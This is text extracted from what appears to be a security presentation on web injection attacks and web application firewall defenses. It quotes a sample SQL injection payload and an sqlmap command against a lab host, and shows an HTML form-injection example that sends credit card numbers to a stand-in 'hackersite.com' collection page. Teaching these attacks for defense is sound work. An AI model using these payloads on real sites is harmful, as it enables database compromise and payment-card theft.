


Human Interpreters



Digital Interpreters



Mixing code 
with input

1.

Blind faith of 
user input

2. 
• Images, PDFs
• Log messages
• HTTP headers

• Command, SQL, LDAP
• Bitcoin mining
• DNA





https://www.owasp.org/
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Hetzner South Africa 2017-11 Over 40,000 customer details including bank accounts leaked.

Wordpress 2017-10 SQLi vulnerability in plugins - patched in v4.8.3

Inmarsat 2017-10 AmosConnect satellite communications for ships is vulnerable.

Equifax 2017-10 (long term) Personal data for over 145 million people compromised

Jigsaw Holding in South Africa 2017-10 75m database records available for download

Wordpress Statistics plugin 2017-07 vulnerability in wordpress plugin

Joomla CMS web application 2017-05 sites exposed to execution of custom sql code

Moodle 2017-03 Tens of thousands of universities have vulnerability

McAfee 2017-02 ePolicy Orchestrator (ePO) admin console vulnerable - patched

Belkin Home IoT devices 2016-11 home devices vulnerable

Cisco email security appliances 2016-09 IronPort AsyncOS vulnerable to SQLi allowing root-level access

MySQL 2016-09 unpatched vulnerability allows injection attack

Bitcoin 2016-08 Hacker shows you cansteal bitcoin with sqli



• Cross-site scripting (XSS)

Client side

• SQL

• XML/JSON

• HTTP header

• Logs

• Commands

• LDAP

shampoo

Server side



• Cross-site scripting (XSS)

Client side

• SQL

• XML/JSON

• HTTP header

• Logs

• Commands

• LDAP

https://www.hackazon.lab/search?formSearch=shampoo

Host: www.hackazon.lab

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) 

Gecko/20100101 Firefox/49.0

Referer: https://www.hackazon.lab/

Connection: keep-alive

Server side sql = SELECT * FROM products WHERE name ="' + formSearch + '"

sql = SELECT * FROM products WHERE name ="'shampoo'"



https://www.hackazon.lab/search?formSearch=' or 1=1--

Host: www.hackazon.lab

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) 

Gecko/20100101 Firefox/49.0

Referer: https://www.hackazon.lab/

Connection: keep-alive

• Cross-site scripting (XSS)

Client side

• SQL

• XML/JSON

• HTTP header

• Logs

• Commands

• LDAP

Server side

sql = SELECT * FROM products WHERE name ="'' or 1=1--"

sql = SELECT * FROM products WHERE name ="' + formSearch + '"



• Cross-site scripting (XSS)

Client side

• SQL

• XML/JSON

• HTTP header

• Logs

• Commands

• LDAP

Server side

$ phython sqlmap.py –u https://www.hackazon.lab/search?formSearch=shampoo --batch



ü Browse DB structure

ü View all records

ü Drop tables

ü Modify records

ü Shutdown services
• Cross-site scripting (XSS)

Client side

• SQL

• XML/JSON

• HTTP header

• Logs

• Commands

• LDAP

Server side



Server side

• Cross-site scripting (XSS)

Client side

• SQL

• XML/JSON

• HTTP header

• Logs

• Commands

• LDAP
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Server side

• Cross-site scripting (XSS)

Client side

• SQL

• XML/JSON

• HTTP header

• Logs

• Commands

• LDAP

<form action=“cart.php”>

<input type=“text” name=“colour” value=“red”>

<input type=“text” name=“ccard” value=“”>

</form>

https://www.vulnerable.com/form.php?colour=red

URL: 

Response body:

<form action=“cart.php”>

<input type=“text” name=“colour” value=“x”></form><form 

action=“https://hackersite.com/collectCreditCard.php”>

<input type=“text” name=“ccard” value=“”>

</form>

https://www.vulnerable.com/form.php?colour=x%22%3E%3C/form%3E...

URL: 

Response body:



Firewalls
and IPDS

Fragmentation

Encryption

Obfuscation

??? Unknowns



Cloud Shared Responsibility



Input Validation

Parameterisation

Output Encoding

Use 3rd Party Frameworks

Content Security Policy (CSP)

Advanced,
full proxy

Web
Application 

Firewall



WEB 

APPLICATION

WEB 

APPLICATION

APP PROTOCOL APP PROTOCOL

SSL / TLS SSL / TLS

NETWORK NETWORK



Request made
WAF security policy 
learns from request

Request load-
balanced to server

WAF security policy 
learns from response

Application responds

Devices

Response delivered

WAF

Hypervisor

/images/banner.jpg

/images/logo.gif

/css/default.css

/app/app.php

/index.html

File Types

/images/banner.jpg

/images/logo.gif

/css/default.css

/app/app.php

/index.html

URLs

/app/app.php?name=value

/app/app.php?a=1&b=2

/app/app.php?user=bloggsj

/app/app.php?browser=safari

Parameters

Cookie: name=value

Cookie: JSESSIONID=1A5306372...

Cookie: price=399;total=1399

Cookies

Servers



Abuse of Functionality

Forced Browsing

Use of Backdoor/C2

Brute Force

SQL Injection

Use of Stolen Credentials“77% were the target of 
botnet activity … 

93% were associated 
with organised crime”

Verizon 2017 Data Breach Investigations Report

Source: Verizon 2017 Data Breach Investigations Report



• IP Reputation

• Geolocation

• Browser finger printing

• Proactive Defence

• Heavy URL detection

• TPS detection

• CAPTCHA challenge

Botnet

Anonymous 

requests

Anonymous 

proxies 

Scanner

Restricted 

region or 

country

Attacker

Threat 

Intelligence 

Feed



• IP Reputation

• Geolocation

• Browser finger printing

• Proactive Defence

• Heavy URL detection

• TPS detection

• CAPTCHA challenge

ü Uniquely protects against session hijacking by 

matching cookies with device ID  

ü Captures unique device characteristics for bots, DoS 

attacks, headless browsers and human users.

ü Identifies repeat visitors learning their traffic 

patterns, even in the case users switched sessions or 

source IP’s. 

ü Applies to brute force, volumetric DDoS, session 

hijacking protections and proactive bot defense

ü Thwart tracking evasion attempts by bots and 

scrapers



Mitigation

• IP Reputation

• Geolocation

• Browser finger printing

• Proactive Defence

• Heavy URL detection

• TPS detection

• CAPTCHA challenge





• Signatures (OWASP Top 10)

• Often based on Regex

• File/URL/Parameter/Header/Cookie 
enforcement

• Login enforcement / Session tracking

• Flow enforcement

• IP blacklisting

• BOT detection based on IP database

ADVANCED WAF

• Bot detection

• Client fingerprinting

• Web scraping prevention

• Brute force mitigation

• L7 DDoS protection

• Heavy URL mitigation 

• CAPTCHA challenges

• HTTP header sanitisation/insertion

• Anti-CSRF token insertion

• Perfect Forward Secrecy (PFS) ciphers

• Protocol enforcement

• DAST integration

TRADITIONAL WAF



99% of vulnerabilities were compromised a 
year after the vulnerability was made public 
(CVE)

10 CVE’s account for 97% of the exploits 
observed in 2014

Less than 49% of companies have an 
organized effort for patching 2015 Cisco  Annual Security Report

Verizon 2015 DBIR



http/1.1

GET 

/ws.php

GET

/http.php

GET

/images

GET 
/http2.php

GET 
/more.php

GET /http.php HTTP/1.1

Payload:

<HTML><H1>Welcome</H1></HTML>

GET /http2.php HTTP/1.1

Upgrade: h2c

Connection: Upgrade, HTTP2-Settings

Payload: 

00100436f6e74656e7420262620732e64...

GET /http.php HTTP/1.1

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Protocol: chat

Payload:

dll29x8hsadh23nfha8s892...








